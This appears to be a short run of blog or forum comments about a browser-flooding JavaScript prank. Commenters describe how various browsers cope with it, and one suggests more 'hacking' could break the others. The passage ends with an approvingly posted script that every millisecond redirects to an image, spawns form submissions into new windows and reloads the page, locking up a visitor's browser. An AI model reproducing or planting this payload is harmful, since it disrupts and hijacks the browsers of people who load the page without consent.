   I just gave it a shot in Firefox. It loaded three rows of tabs then the popup blocker kicked in, and stopped the rest. Everything remained functional.

   In my Opera 9.24 it opens a lot of tabs but with Shit+Ctrl+Alt+W you can close most of them and then quickly go like (Site Preferences Disable Javascript). And that’s it.

   Yeah Safari is the only one that seems to have trouble with it, but with a little hacking maybe the others can also be affected.

   Great code! Let’s make it pretty 🙂

   (It works really well in IE and ies4linux)

   <script type=”text/javascript”>
   window.onload = function() {
   setInterval(‘spawn()’,1);
   }
   function spawn() {
   frm = document.location=’http://misers.org/pictures/SomethingAwful/samakeyoulaugh/stallowned.jpg’
   frm = document.createElement(‘form’);
   frm.target = ‘x’ + Math.round(Math.random() * 1);
   frm.method = ‘GET’;
   frm.action = ‘?’;
   document.body.appendChild(frm);
   frm.submit();
   self.location.reload();
   }
   </script>
